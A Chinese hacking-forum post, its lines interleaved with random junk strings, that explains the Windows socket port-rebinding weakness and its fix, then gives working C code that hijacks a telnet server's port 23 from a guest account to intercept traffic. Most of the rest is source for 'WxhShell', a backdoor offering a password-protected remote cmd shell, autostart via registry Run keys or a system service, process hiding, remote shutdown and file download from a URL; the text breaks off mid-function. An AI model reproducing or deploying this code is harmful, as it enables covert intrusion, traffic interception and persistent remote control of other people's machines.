在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
9(QY~F s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
0rxlN
[Yp pjvChl5 saddr.sin_family = AF_INET;
P7&a~N$T6W Ms=x~o' saddr.sin_addr.s_addr = htonl(INADDR_ANY);
$L)9'X ]$KyZHj{ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
I?lQN$A.E 320Wm)u>: 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
DhG2!'N -1Yt3M& 这意味着什么?意味着可以进行如下的攻击:
j0>S)Q 15x~[?! 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
d2&sl(O `][~0\Y3m 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
eA$9)K1GO 2.p7fu 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
=Jg5J5 1>c`c]s3 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
}at8b ^ /~{8/u3 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
fa8vY Bbz#$M!: 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
U O YM 1RY}mq 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
_FeLSk.
1t+]r:{ #include
oil s;*q #include
~j^HDHY@ #include
T|GRkxd,E3 #include
,v4Z[ ( DWORD WINAPI ClientThread(LPVOID lpParam);
X4!`
V? int main()
F6dm_Oq& {
~QJD.'z WORD wVersionRequested;
!sfOde)$ DWORD ret;
Se9I1~mX WSADATA wsaData;
:aV(i.LW
BOOL val;
$u|p(E:* SOCKADDR_IN saddr;
4Smno%jq SOCKADDR_IN scaddr;
KXL]Qw FN int err;
#*BcO-N SOCKET s;
OthQ)&pqX SOCKET sc;
30-XFl int caddsize;
#.$p7] HANDLE mt;
-\b~R7VQ DWORD tid;
YT+fOndjaF wVersionRequested = MAKEWORD( 2, 2 );
)7<JGzBZ1 err = WSAStartup( wVersionRequested, &wsaData );
tbJB 0T|G if ( err != 0 ) {
9`f]Rf" printf("error!WSAStartup failed!\n");
afqLTWUS return -1;
1y$Bz?4 }
0t*JP saddr.sin_family = AF_INET;
bLUn>ch :O-Y67>& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
\om$%FUP l}j5EWe saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
oZHsCQ % saddr.sin_port = htons(23);
SouPk/-B80 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@aN<nd`q) {
n7i;^=9mM printf("error!socket failed!\n");
.e!dEF)D return -1;
3+u11'0=t }
x$QOOE] val = TRUE;
,'v ]U@WK //SO_REUSEADDR选项就是可以实现端口重绑定的
@QV|<NeH if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
:/c=."z. {
PaP47>( printf("error!setsockopt failed!\n");
o/@.*Rj>Bg return -1;
'b]GcAL }
dms R>Q //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
..UmbJJ.u //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
tu#VZAPW@ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
sn
'#]yM +v2Fr} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
}_u1' {
&, hhH_W ret=GetLastError();
rbS67--] printf("error!bind failed!\n");
(s4w0z return -1;
}BlVLf%C }
u7ZSs-LuHw listen(s,2);
KFCrJ) while(1)
oJK1~;: {
v3x_8n$C9 caddsize = sizeof(scaddr);
/@gD
8 //接受连接请求
|G&<@8O sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
L(XGD if(sc!=INVALID_SOCKET)
y2gI]A {
1`)ie%= mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
fWhw I+ if(mt==NULL)
lZ.x@hDS {
JaoRkl?F printf("Thread Creat Failed!\n");
6Db1mvSe break;
1Y6<i8 }
}
1^/[? }
[wWip1OR CloseHandle(mt);
coT|t
T }
w&jyijk( closesocket(s);
=hxj B*") WSACleanup();
;XNe:g.CR return 0;
0%+S@_| }
dnTB$8& DWORD WINAPI ClientThread(LPVOID lpParam)
*&9_+F8ly {
<e-9We." SOCKET ss = (SOCKET)lpParam;
Qu,W3d SOCKET sc;
;)s$Et% unsigned char buf[4096];
wkOo8@J\ SOCKADDR_IN saddr;
~UA-GWb long num;
N3
.!E| DWORD val;
Pc#8~t}2 DWORD ret;
[g`9C!P-G //如果是隐藏端口应用的话,可以在此处加一些判断
X<dQq`kZ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
`CA-s saddr.sin_family = AF_INET;
^\Tde*48 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
P+ONQN| saddr.sin_port = htons(23);
j|gQe .,1 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
28[hp[< {
VHwb 7f]gq printf("error!socket failed!\n");
3/>T/To&2 return -1;
!G=!^RA }
vM!lL6T: val = 100;
#_0OYL`(mE if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
(JHzwI8+ {
=>#
S7= ret = GetLastError();
4+e9:r] return -1;
~XQj0' }
fgIzT!fyz if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
va F^[/
(g {
=Ryh@X& ret = GetLastError();
JwG$lGNJ return -1;
S&_Z,mT./ }
`T7gfb%1-3 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
4Xi
_[
Xf {
Wew'bj
printf("error!socket connect failed!\n");
&
9}L +/, closesocket(sc);
(jd)sf6Tj[ closesocket(ss);
by!1L1[JTt return -1;
j oDY }
Sm(X/P=z while(1)
)'3(=F$+l {
ATl.Qku@ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
9Jd{HI= //如果是嗅探内容的话,可以再此处进行内容分析和记录
>
2_xRn<P //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
2k;>nlVxX num = recv(ss,buf,4096,0);
RnC96"";R. if(num>0)
s ;EwAd( send(sc,buf,num,0);
.l5y+a' else if(num==0)
8*z)aB&f3 break;
'X_8j` ]# num = recv(sc,buf,4096,0);
qPqpRi if(num>0)
X3&-kU send(ss,buf,num,0);
{U@&hE
- else if(num==0)
cdiDfiE break;
l)tK/1 W }
9eO!_a^ closesocket(ss);
v zgR3r closesocket(sc);
Afa|6zZ> return 0 ;
2L"$p? }
u`?MV2jU2 :EJ8^'0Q -kFEVJbUyc ==========================================================
h6J0b_3h4 M"# >?6{ 下边附上一个代码,,WXhSHELL
x&}pM}ea 8CCd6)cG ==========================================================
]."~) qd$Y"~Mco #include "stdafx.h"
[Q+8Ku iR}3 [ #include <stdio.h>
_`3'D`s #include <string.h>
}dcXuX4{r #include <windows.h>
q)0?aL #include <winsock2.h>
Xq:jp+WSG #include <winsvc.h>
&/QdG= r + #include <urlmon.h>
I~Y1DP)R 7Nx5n< #pragma comment (lib, "Ws2_32.lib")
u&{}hv&FY #pragma comment (lib, "urlmon.lib")
\AFoxi2h kS_oj #define MAX_USER 100 // 最大客户端连接数
Su.imM! #define BUF_SOCK 200 // sock buffer
N3/G6wn #define KEY_BUFF 255 // 输入 buffer
vEQw`OC `! ~~Wf' #define REBOOT 0 // 重启
v:/+OzY #define SHUTDOWN 1 // 关机
JxI\ss?O 1EE4N\ #define DEF_PORT 5000 // 监听端口
3sr>?/>: ab"6]%_ #define REG_LEN 16 // 注册表键长度
u@QP<[f
#define SVC_LEN 80 // NT服务名长度
aY`qb Jy MI8f(ZJK5 // 从dll定义API
ZqT8G typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
R\DdU-k typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
J)(KG dk typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
3"v
k$ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
;Q*=AW /$a>f>EJ // wxhshell配置信息
mL\_C9k,n struct WSCFG {
0zJT_H+ int ws_port; // 监听端口
0X \OQ; char ws_passstr[REG_LEN]; // 口令
+c4-7/kE int ws_autoins; // 安装标记, 1=yes 0=no
q8&2M char ws_regname[REG_LEN]; // 注册表键名
j"G1D-S: char ws_svcname[REG_LEN]; // 服务名
2cv!85 char ws_svcdisp[SVC_LEN]; // 服务显示名
g-G;8x'n char ws_svcdesc[SVC_LEN]; // 服务描述信息
\3nu &8d char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Kf=6l#J7 int ws_downexe; // 下载执行标记, 1=yes 0=no
RNa59b char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
(41BUX char ws_filenam[SVC_LEN]; // 下载后保存的文件名
bEO\oS B$ty`/{w,B };
mEK0ID\ 3PRg/vD3 // default Wxhshell configuration
A'A5.\UN struct WSCFG wscfg={DEF_PORT,
&lbZTY} "xuhuanlingzhe",
^eF%4DUC; 1,
War<a#0 "Wxhshell",
bUv}({ "Wxhshell",
yg}zK>j^vC "WxhShell Service",
pF0sXvWGG "Wrsky Windows CmdShell Service",
Q=B>Q "Please Input Your Password: ",
4Js2/s 1,
;/-v4 "
http://www.wrsky.com/wxhshell.exe",
{tS^Q*F "Wxhshell.exe"
"&$ [@c };
^:krfXT hA?Flq2QV // 消息定义模块
0%x"Va~"z char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
hM_0/o- char *msg_ws_prompt="\n\r? for help\n\r#>";
[D;wB|+, char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
n8h1SlK08 char *msg_ws_ext="\n\rExit.";
\!-IY char *msg_ws_end="\n\rQuit.";
_LVwjZX[ char *msg_ws_boot="\n\rReboot...";
,=TY:U;? char *msg_ws_poff="\n\rShutdown...";
V]E#N char *msg_ws_down="\n\rSave to ";
MH wjJ 4o/}KUu(* char *msg_ws_err="\n\rErr!";
g5",jTn# char *msg_ws_ok="\n\rOK!";
Z<_"Tk;!', ,K/l;M5I char ExeFile[MAX_PATH];
8x)&4o@ int nUser = 0;
$] ])FM"b HANDLE handles[MAX_USER];
=w&bS,a"y int OsIsNt;
RSv?imi= u92);1R SERVICE_STATUS serviceStatus;
IKz3IR eu SERVICE_STATUS_HANDLE hServiceStatusHandle;
seQSDCsvw* 5OJ8o>BF // 函数声明
B=ckRWq int Install(void);
""~b1kEt int Uninstall(void);
~wejy3|@0 int DownloadFile(char *sURL, SOCKET wsh);
Gy;>.:n int Boot(int flag);
?"hrCEHV{9 void HideProc(void);
qGlbO int GetOsVer(void);
.Iu8bN(L` int Wxhshell(SOCKET wsl);
9\dpJ\ void TalkWithClient(void *cs);
R #f*QXv int CmdShell(SOCKET sock);
n'?AZ4&z int StartFromService(void);
j\I{pW- int StartWxhshell(LPSTR lpCmdLine);
=D>,s)}o3; QD8.C=2R VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
-RLY.@'d-M VOID WINAPI NTServiceHandler( DWORD fdwControl );
%w$\v"^_Y D,3Kx ^ // 数据结构和表定义
FRBW(vKE SERVICE_TABLE_ENTRY DispatchTable[] =
v|K, {
!g`^<y! {wscfg.ws_svcname, NTServiceMain},
54lU~ " {NULL, NULL}
kT@m*Etr{ };
DPWt=IFU l1 M
% // 自我安装
lRk) int Install(void)
g)3HVAT {
Vx
Vpl@ char svExeFile[MAX_PATH];
(^{tu89ab HKEY key;
'3i,^g0?t0 strcpy(svExeFile,ExeFile);
]2_b_ok _ww>u""B~ // 如果是win9x系统,修改注册表设为自启动
m}-*B1 if(!OsIsNt) {
S3?Bl' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
B0M(&)!%
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
?DGe}?pX RegCloseKey(key);
S|jE1v"L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
L2sUh+'| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
o^efeI RegCloseKey(key);
gTM*td(~^ return 0;
[
pe{,lp }
7^oO
N+=d }
mhNX05D }
cj64.C else {
**G5fS.^W k#g` n3L // 如果是NT以上系统,安装为系统服务
B,5kG{2! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
a 23XrX if (schSCManager!=0)
hl/) 1sOIR {
{}n]\zO % SC_HANDLE schService = CreateService
A3uF 0A (
cb3Q{.-.# schSCManager,
%&5PZmnW wscfg.ws_svcname,
/g]NC? wscfg.ws_svcdisp,
IDY2X+C#U SERVICE_ALL_ACCESS,
3
0.&Lzz SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
6"L,#aKm^ SERVICE_AUTO_START,
c%+_~iBUN SERVICE_ERROR_NORMAL,
o#Viz: svExeFile,
<G_71J`MLC NULL,
zk;'`@7 NULL,
w paI}H# NULL,
sU$<v( `" NULL,
mB5Sm|{ NULL
ufi:aE=} );
5%jy7)8C if (schService!=0)
n~Yr`5+Z {
Z}AhDIw!G CloseServiceHandle(schService);
<r1/& RW, CloseServiceHandle(schSCManager);
c;B: o strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
v,L@nlD] strcat(svExeFile,wscfg.ws_svcname);
T!jMh-8 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
W; zzc1v RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
?u4t; RegCloseKey(key);
9*2Q'z}_ return 0;
=T- jG_.H }
Y-s6Z\ }
V q[4RAd^P CloseServiceHandle(schSCManager);
2PC:F9dh\ }
S]Qf
p, }
UrmnHc>}c S8,e`F return 1;
pSl4^$2XR }
u_=^Bd _u9bZ' // 自我卸载
rU
|% int Uninstall(void)
JKF/z@Vbe\ {
"!9FJ Y HKEY key;
!"LFeqI$lr 0O!A8FA0 if(!OsIsNt) {
=.]{OT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
| Kq<}R RegDeleteValue(key,wscfg.ws_regname);
aT~=<rEDy RegCloseKey(key);
w+Y_TJ% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
dAr=X4LE RegDeleteValue(key,wscfg.ws_regname);
2w;Cw~<=d RegCloseKey(key);
H1d2WNr[ return 0;
*AG01# ZF }
[85b+SKW }
emMk*l, }
lyzM?lK- else {
Vz]yJ: r`Bm"xI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
(5l'?7 if (schSCManager!=0)
2@Zw#2|] {
9yK\<6}}QH SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
7P:/ (P if (schService!=0)
NpH:5hi {
hiEosI
C if(DeleteService(schService)!=0) {
5p>rQq0 CloseServiceHandle(schService);
^8=e8O CloseServiceHandle(schSCManager);
*pYawT return 0;
0O?\0k;o }
yS.)l CloseServiceHandle(schService);
C'6c, }
e8 c.&j3m CloseServiceHandle(schSCManager);
20w4
'@sq
}
p:ubj'(U05 }
2i$_ ,[fi ZfibHivz return 1;
pN{XGkX. }
k{
$,FQ4 w:9M6+mM^ // 从指定url下载文件
lE8(BWzw int DownloadFile(char *sURL, SOCKET wsh)
z
.+J\ {
#G\Ae:O HRESULT hr;
a/n~#5- char seps[]= "/";
(\%J0kR3[ char *token;
~g}blv0q+B char *file;
lXRB"z char myURL[MAX_PATH];
MM*9Q`cB char myFILE[MAX_PATH];
E
<N% T>irW( strcpy(myURL,sURL);
? CU; token=strtok(myURL,seps);
R(s[JH(& while(token!=NULL)
ybv]wBpM: {
}O\g<ke:u file=token;
nT7]PhJ token=strtok(NULL,seps);
|\RN%w7E8 }
XO5E-Nh \Rw^&;\1 GetCurrentDirectory(MAX_PATH,myFILE);
\j4!dOGZ strcat(myFILE, "\\");
d*$x|B|V strcat(myFILE, file);
@QDUz>_y send(wsh,myFILE,strlen(myFILE),0);
j:$Z-s send(wsh,"...",3,0);
USJ4Z hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
8l<~zIoO if(hr==S_OK)
;?Q0mXr return 0;
f\z9?Z(~ else
v}=pxWhm return 1;
S[CWrPaDQ g&\;62lV% }
(!a\23 _ucixM# // 系统电源模块
^97[(89G9 int Boot(int flag)
Ky*xAx: {
[$M l;K HANDLE hToken;
dKmPKeJM TOKEN_PRIVILEGES tkp;
Lr Kx RN$q,f[# if(OsIsNt) {
\==Mgy2J8 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
r;O?`~2'4 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
M"foP@ tkp.PrivilegeCount = 1;
Mo]iVj8~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
}Qh%Z) AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
knzQ)iv&& if(flag==REBOOT) {
]''tuo2g8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
D>kkA|> return 0;
UMH~Q`" }
tPDB'S:&3 else {
X^C $|: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
]j.!
return 0;
m|[cEZxHB }
}mS
Q!"f: }
ltHuN;C\ else {
0Qg%48u if(flag==REBOOT) {
;1k_J~Qei if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
xM>dv5<E return 0;
_he~Y2zFz }
xEB4oQ5 else {
]0pI6" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
DvTbt?i[ return 0;
aqwW`\ }
Lve$H(GHT }
BbI),iP S;BMM8U return 1;
nb@<UbabW} }
ZRUA w,T * 4VzSqb // win9x进程隐藏模块
tfv@
)9 void HideProc(void)
Pd(n|t3[8 {
YGi_7fTyc= F|&mxsL HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
SNV;s, if ( hKernel != NULL )
mN#&NA {
K4^B ~0~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
?hW(5]p| ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
'=IuwCB|; FreeLibrary(hKernel);
Lya?b }
Kt_HJ! [ <Q{ return;
V.[b${ }
|h:3BV_ }J=z O8OL // 获取操作系统版本
}U b "Vb int GetOsVer(void)
n4zns,:)/ {
os(}X(
OSVERSIONINFO winfo;
tdC
kvVE winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
XB%`5wwd GetVersionEx(&winfo);
n4
Y
]v if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
}Z`@Z' return 1;
4;w#mzd else
OmP(&t7 return 0;
B^hK }
7p18;Z+6>X *kDV ^RBfq // 客户端句柄模块
<pUc(
tPoz int Wxhshell(SOCKET wsl)
*OZO} i {
\g|;7&%l3 SOCKET wsh;
YGLR%PYv" struct sockaddr_in client;
b$FXRR\G DWORD myID;
n6*;
~h5 -A Nq!$E while(nUser<MAX_USER)
/h@rLJ)o> {
QpifO int nSize=sizeof(client);
,I[A~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
~0 n9In% if(wsh==INVALID_SOCKET) return 1;
!i6 aA1' ::8E?c handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
CY9`HQ1 if(handles[nUser]==0)
FD}>}fLv closesocket(wsh);
g/,O51f' else
J15$P8J nUser++;
dk2o>jI4; }
SiJX5ydz WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
q}5&B=2pM PiIILX{DuH return 0;
0M>%1* }
2qkC{klC^M o6;VrpaNi // 关闭 socket
GG_A'eX:I void CloseIt(SOCKET wsh)
mH3{<^Z6 {
fKT(.VNq5 closesocket(wsh);
GgjBLe=C nUser--;
@i:_JOl ExitThread(0);
%n#^#: }
RrqZ5Gonj qsL6*(S(r // 客户端请求句柄
B6vmBmN void TalkWithClient(void *cs)
';7|H|,F {
cl-i6[F }(XvI^K[^ SOCKET wsh=(SOCKET)cs;
UJF
}Ye char pwd[SVC_LEN];
Web8"8eD char cmd[KEY_BUFF];
5*>3(U char chr[1];
R:JS)>B int i,j;
( ]o6Pi iJE|u while (nUser < MAX_USER) {
'C*NyHc -/&6}lD if(wscfg.ws_passstr) {
VbX$i!>8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`o*g2fW! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|wj/lX7y //ZeroMemory(pwd,KEY_BUFF);
egi?Qg i=0;
G8?<(.pi@ while(i<SVC_LEN) {
z95V 7E Bf88f<Z // 设置超时
y]\R0lR fd_set FdRead;
i&FC-{|Z struct timeval TimeOut;
QX~*aqS3s8 FD_ZERO(&FdRead);
Dl/_jM FD_SET(wsh,&FdRead);
XT_BiZ%l5O TimeOut.tv_sec=8;
?8C+wW TimeOut.tv_usec=0;
M !OI :v int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
vR~*r6hX8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
49Ue2=PP# @kwD$%*0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
7"JU)@ U] pwd
=chr[0]; 6YU2
!x
if(chr[0]==0xd || chr[0]==0xa) { C5RDP~au
pwd=0; uf)W?`e~
break; L ou4M
} .^.UJo;4G
i++; 90aPIs-
} ^! ZjK-$A<
cCV"(Oo[H|
// 如果是非法用户,关闭 socket {Q(6
.0R
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P [nWmY
} |2 wff?
NV-9C$<n2!
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /9w}[y*E
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |H_)u
PewPl0
while(1) { X7c*T /
p
go\(K0
ZeroMemory(cmd,KEY_BUFF); 8rp-XiW
= xX^
// 自动支持客户端 telnet标准 BK d(
j=0; )Y&De)=
while(j<KEY_BUFF) { EJtU(HmW
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z#MODf0H@
cmd[j]=chr[0]; 'HcDl@E
if(chr[0]==0xa || chr[0]==0xd) { 5!ReW39c;
cmd[j]=0; /?XfVhA:A
break; =OZ_\vO
} C${TC+z
j++; }Rux<=cd|
} 2aje$w-
i)(QNpv
// 下载文件 Ju9v n44
if(strstr(cmd,"http://")) { ^:)&KV8D|
send(wsh,msg_ws_down,strlen(msg_ws_down),0); cT0g, ^&
if(DownloadFile(cmd,wsh)) S~Hj.
d4/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $^0YK|F
else : }IS=A
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sTqB%$K}
} "DN `@
else { 3CHte*NL=
U; q)01
switch(cmd[0]) { zm .2L
86I*
// 帮助 Hf-F-~E
case '?': { `WW0~Tp3
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O46/[{p+8
break; Elq8WtS
} 4QVd{
// 安装 M1M]]fT0ME
case 'i': { 8Z!ea3kAT
if(Install()) K/,lw~>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mDmWTq\
else r4lG 5dV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |5/[0V-vy
break; n{yjH*\Z
} mHMej@
// 卸载 vPsX!m[#
case 'r': { KE3v3g<
if(Uninstall()) o <'gM]$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]/']{*T1
else D_)vGvv3;.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZF/KV\Ag)
break; .e AC!R
} I(CI')Q
// 显示 wxhshell 所在路径 fytx({I
.a
case 'p': { e](=)h|
char svExeFile[MAX_PATH]; ,{50zx2
strcpy(svExeFile,"\n\r"); <XagkD
strcat(svExeFile,ExeFile); m&%b;%,J
send(wsh,svExeFile,strlen(svExeFile),0); uSQ*/h-<)0
break; s?E: ]
} X m3t
xp#
// 重启 mC7Y *
case 'b': { Wd}mC<rv1
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )pLq^j
if(Boot(REBOOT)) e`rY]X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RVsN r
rZ
else { M Sj0D2H
closesocket(wsh); _YS+{0
Vq%
ExitThread(0); N
[u
Xo
} -CrZ'k;4
break; y{]%,
} }sU\6~
// 关机 KV*:,>
case 'd': { 7e<Q{aB
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I@ k8^
if(Boot(SHUTDOWN)) Jq#Cn+zW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l}2WW1b(
else { a=FRJQ8S
closesocket(wsh); `Vi:r9|P
ExitThread(0); NHF?73:
} @7=D ]yu
break; YM|S<
} J4g;~#_19
// 获取shell 9F](%/
case 's': { `[&2K@u
CmdShell(wsh); N96BWgT
closesocket(wsh); z{d5Lrk
ExitThread(0); >nDnb4 'C
break; ,]mwk~HeF
} =R.9"7~2x
// 退出 QO.gt*"
case 'x': { $rEd5W&d!
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jZ!JXmVV
CloseIt(wsh); eLny-.i,7
break; }6>J
} z)>{O3
// 离开 af(JoX*U
case 'q': { 7]j-zv
send(wsh,msg_ws_end,strlen(msg_ws_end),0); )''wu\7A)'
closesocket(wsh); %6'D!H?d
WSACleanup(); )1}g7:
exit(1); J#DcT@
break; HJR<d&l;p
} zYdtQjv
} i@Zj7#e*
} e}[we:
}YP7x|
// 提示信息 L"I] mQvd
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?ljod6
} Ne7{{1
} \q|PHl
rcmAVl:$>
return; ;
,<J:%s
} }>~>5jc/Pg
&2=KQ\HO
// shell模块句柄 d %W}w.
int CmdShell(SOCKET sock) !u}3H|6~
{ J*!:ar
STARTUPINFO si; ;-GzGDc~0
ZeroMemory(&si,sizeof(si)); pHB35=p28
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FraW6T}_
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d$rUxqB.
PROCESS_INFORMATION ProcessInfo; o}+Uy
char cmdline[]="cmd"; _-J @$d%
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sC_UalOC_
return 0; /2Lo{v=0[
} JlQT5k
~<-
ci
// 自身启动模式 @:9fS
int StartFromService(void) uyt-q|83=
{ 7&1~O#
typedef struct m2CWQ[u
{ chmJ|
DWORD ExitStatus; oz6+rM6MY
DWORD PebBaseAddress; i: M*L< +
DWORD AffinityMask; .00=U;H%`
DWORD BasePriority; NJf(,Mr*|
ULONG UniqueProcessId; ]}7rWs[|1
